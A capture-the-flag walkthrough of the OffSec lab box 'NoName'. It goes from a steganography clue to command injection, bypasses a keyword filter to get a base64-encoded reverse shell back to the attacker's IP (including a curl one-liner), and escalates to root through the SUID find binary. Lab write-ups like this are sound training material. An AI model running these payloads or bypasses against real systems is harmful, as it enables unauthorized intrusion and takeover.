NoName OffSec Walkthrough

9 Min Read

NoName OffSec Walkthrough: NoName OffSec Walkthrough is Intermediate Level Box Design by OffSec. Its Available on OffSec Play Proving Ground.

Table of contents

NoName may appear easy, but not everything is always straightforward. Only local.txt and proof.txt are valid flags.

Footprinting

Open ports

Nmap SYN scan:

kali@kali:~$ sudo nmap -sS -p- -Pn -v10 -oA syn_full 192.168.207.15
Discovered open port 80/tcp on 192.168.207.15

NSE scan:

kali@kali:~$ sudo nmap -sC -sV -p80 -Pn -v10 -oA nse 192.168.207.15
PORT   STATE SERVICE REASON         VERSION
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)

HTTP

In the main web page, there is a form which requires an IP:

>>>
POST /index.php HTTP/1.1
Host: 192.168.207.15

box=fake+query&submitt=submit

<<<
<h4>Fake Admin Area</h4>
<form action="index.php" method="post">
<input type="text" placeholder="fake query" name="box">
<input type="submit" placeholder="Run" value="submit" name="submitt">
</form>

Fake ping executed

However, that is a fake query box, as the IP input is not processed. Enumeration using ffuf reveals an admin directory:

kali@kali:~$ ffuf -v -c -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://192.168.207.15/FUZZ -t 50 -fc 404,403 -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0"
"http://192.168.207.15/
"http://192.168.207.15/"
"http://192.168.207.15/."
"http://192.168.207.15/admin"
"http://192.168.207.15/index.php"

This resource contains 4 images, with no sensitive information:

kali@kali:~$ wget -r http://192.168.207.15/admin
kali@kali:~$ ls ./192.168.207.15
ctf-01.jpg  haclabs.jpeg  new.jpg  Short.png
kali@kali:~$ exiftool ./192.168.207.15/*

Steganographic message

Looking closer at that admin page, a password is hidden at the very bottom response !

>>>
GET /admin HTTP/1.1
Host: 192.168.207.15

<<<
<html>
  <body style="background-color:Gainsboro;text-align:center">
  <h3 text-align:center>HacLabs directory of gallery.</h3>
    <img src="new.jpg" height="200" width="200">
    <br>
    <img src="ctf-01.jpg" height="200" width="200">
    <br>
    <img src="haclabs.jpeg" height="200" width="200">
    <br>
    <img src="Short.png" height="200" width="200">
  </body>
</html>


[...]


<!--passphrase:harder-->

But what I can do with that passphrase ? Is there any hidden file in one of the images ?

kali@kali:~$ steghide extract -sf haclabs.jpeg
Enter passphrase:
wrote extracted data to "imp.txt".

Yup !

kali@kali:~$ cat imp.txt
c3VwZXJhZG1pbi5waHA=

kali@kali:~$ base64 -d imp.txt
superadmin.php

This superadmin.php contains a ping feature (which is real this time!):

>>>
POST /superadmin.php HTTP/1.1
Host: 192.168.207.15

pinger=127.0.0.1&submitt=Submit+Query

<<<
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.015 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.029 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.027 ms

--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2030ms
rtt min/avg/max/mdev = 0.015/0.023/0.029/0.008 ms

OS Command Injection

This output is the same as in a standard shell:

kali@kali:~$ ping -c 3 127.0.0.1
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.013 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.038 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.060 ms

--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2036ms
rtt min/avg/max/mdev = 0.013/0.037/0.060/0.019 ms

I immediately found a blind command injection using the pipe symbol:

>>>
POST /superadmin.php HTTP/1.1
Host: 192.168.207.15

pinger=|sleep+10&submitt=Submit+Query

<<<
[10,452millis]

Note that the injection doesn’t need to be blind, as the output is returned in the response:

>>>
POST /superadmin.php HTTP/1.1
Host: 192.168.207.15

pinger=|id&submitt=Submit+Query

<<<
uid=33(www-data) gid=33(www-data) groups=33(www-data)

See the query form in index.php was a rabbit hole, as the user’s input isn’t processed:

>>>
POST /superadmin.php HTTP/1.1
Host: 192.168.207.15

pinger=%0acat+index.php&submitt=Submit+Query

<<<
<?php
  if (isset($_POST['submitt']))
  {
    echo "Fake ping executed";
  }
?>

But we can’t reverse shell as easily, as some characters are filtered, such as nc, or & (URL-encoded %26):

>>>
POST /superadmin.php HTTP/1.1
Host: 192.168.207.15

pinger=%0asleep+2%26&submitt=Submit+Query

<<<
[14millis]

Note that a Line Feed (\n URL-encoded %0a) can also be used to inject the next command.

Here, the injected command was not executed as the response came in less than 2 seconds (i.e. 0.014s). In fact, the source code shows that the filtered patterns are inarray(";", "&&", "/", "bin", "&", " &&", "ls", "nc", "dir", "pwd"):

>>>
POST /superadmin.php HTTP/1.1
Host: 192.168.207.15

pinger=%0acat+superadmin.php&submitt=Submit+Query

<<<
<?php
   if (isset($_POST['submitt']))
{
       $word=array(";","&&","/","bin","&"," &&","ls","nc","dir","pwd");
       $pinged=$_POST['pinger'];
       $newStr = str_replace($word, "", $pinged);
       if(strcmp($pinged, $newStr) == 0)
        {
            $flag=1;
        }
       else
        {
           $flag=0;
        }
}

if ($flag==1){
$outer=shell_exec("ping -c 3 $pinged");
echo "<pre>$outer</pre>";
}
?>

Having a reverse shell with nc seems tougher than it sounds, but some bypasses exist !

>>>
POST /superadmin.php HTTP/1.1
Host: 192.168.207.15

pinger=%0al\s%0a&submitt=Submit+Query

<<<
Short.png
admin
ctf-01.jpg
haclabs.jpeg
index.php
new.jpg
superadmin.php

Indeed, nc could be obfuscated as n\c, and bypass the filter:

>>>
POST /superadmin.php HTTP/1.1
Host: 192.168.207.15

pinger=%0ash|n\c++192.168.49.207+48590&submitt=Submit+Query

<<<
$ nc -nvlp 48590
listening on [any] 48590 ...
connect to [192.168.49.207] from (UNKNOWN) [192.168.207.15] 38142

Arf ! No command is being executed…

$ nc -nvlp 48590
listening on [any] 48590 ...
connect to [192.168.49.207] from (UNKNOWN) [192.168.207.15] 38144
id
ls
whoami
echo plz

After lots of trials and errors, I realized the following payload worked:

$ echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.49.207 48590 >/tmp/f' |base64
cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnxzaCAtaSAyPiYxfG5jIDE5Mi4xNjgu
NDkuMjA3IDQ4NTkwID4vdG1wL2YK

Note that the base64-encoded command contains a new line, which should be URL-encoded to %0a:

>>>
POST /superadmin.php HTTP/1.1
Host: 192.168.207.15

pinger=%0aecho 'cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnxzaCAtaSAyPiYxfG5jIDE5Mi4xNjgu%0aNDkuMjA3IDQ4NTkwID4vdG1wL2YK'|base64 -d|sh&submitt=Submit+Query

<<<
$ nc -nlvp 48590
listening on [any] 48590 ...
connect to [192.168.49.207] from (UNKNOWN) [192.168.207.15] 38194
sh: 0: can't access tty; job control turned off
$ whoami
www-data

A one-liner reverse shell could be:

$ curl -X POST -d "pinger=%0aecho 'cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnxzaCAtaSAyPiYxfG5jIDE5Mi4xNjgu%0aNDkuMjA3IDQ4NTkwID4vdG1wL2YK'|base64 -d|sh&submitt=Submit+Query" http://192.168.207.15/superadmin.php

Local privilege escalation

local.txt

The users are:

$ grep sh$ /etc/passwd
root:x:0:0:root:/root:/bin/bash
haclabs:x:1000:1000:haclabs,,,:/home/haclabs:/bin/bash
yash:x:1001:1001:,,,:/home/yash:/bin/bash

The first flag is in yash‘s directory:

$ cd /home/yash

$ ls
flag1.txt
local.txt

$ cat *
Due to some security issues,I have saved haclabs password in a hidden file.

95[...]e6
proof.txt

Let’s search, given the above sentence, the haclabs‘s password:

Due to some security issues,I have saved haclabs password in a hidden file.

Well, nothing interesting in his folder:

$ cd /home/haclabs

$ ls -la
total 80
drwxr-xr-x 16 haclabs haclabs 4096 Mar 16  2020 .
drwxr-xr-x  4 root    root    4096 Jan 27  2020 ..
-rw-------  1 haclabs haclabs 2576 Jan 30  2020 .ICEauthority
-rw-r--r--  1 root    root       0 Mar 16  2020 .bash_history
-rw-r--r--  1 haclabs haclabs 3771 Jan 27  2020 .bashrc
drwx------ 13 haclabs haclabs 4096 Feb  9  2020 .cache
drwx------ 11 haclabs haclabs 4096 Jan 27  2020 .config
drwx------  3 haclabs haclabs 4096 Jan 27  2020 .gnupg
drwx------  3 haclabs haclabs 4096 Jan 27  2020 .local
drwx------  5 haclabs haclabs 4096 Jan 27  2020 .mozilla
-rw-r--r--  1 haclabs haclabs  807 Jan 27  2020 .profile
drwx------  2 haclabs haclabs 4096 Jan 27  2020 .ssh
-rw-r--r--  1 haclabs haclabs    0 Jan 27  2020 .sudo_as_admin_successful
drwxr-xr-x  2 haclabs haclabs 4096 Jan 27  2020 Desktop
drwxr-xr-x  2 haclabs haclabs 4096 Jan 27  2020 Documents
drwxr-xr-x  2 haclabs haclabs 4096 Jan 27  2020 Downloads
drwxr-xr-x  2 haclabs haclabs 4096 Jan 27  2020 Music
drwxr-xr-x  2 haclabs haclabs 4096 Jan 27  2020 Pictures
drwxr-xr-x  2 haclabs haclabs 4096 Jan 27  2020 Public
drwxr-xr-x  2 haclabs haclabs 4096 Jan 27  2020 Templates
drwxr-xr-x  2 haclabs haclabs 4096 Jan 27  2020 Videos
-rw-r--r--  1 root    root     152 Jan 30  2020 flag2.txt

Is there anything interesting inflag2.txt ?

$ cat flag2.txt
I am flag2

           ---------------               ----------------


                               --------

Nope :/ Using linpeas, I realized searching for haclabs‘s password was a rabbit hole. Indeed, I forgot to look for root SUIDs !CopyCopy

                                         ╔═══════════════════╗
═════════════════════════════════════════╣ Interesting Files ╠═════════════════════════════════════════
                                         ╚═══════════════════╝
╔══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid

-rwsr-xr-x 1 root root 233K Nov  5  2017 /usr/bin/find

Exploiting that find command, here we get the root flag:

$ find . -exec /bin/sh -p \; -quit

$ id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)

$ ls /root
flag3.txt
proof.txt

$ cat /root/*
Your flag is in another file...
41[...]51

Finally this lab Solve see you on next lab;)

Also Read | SoSimple OffSec Walkthrough

Share This Article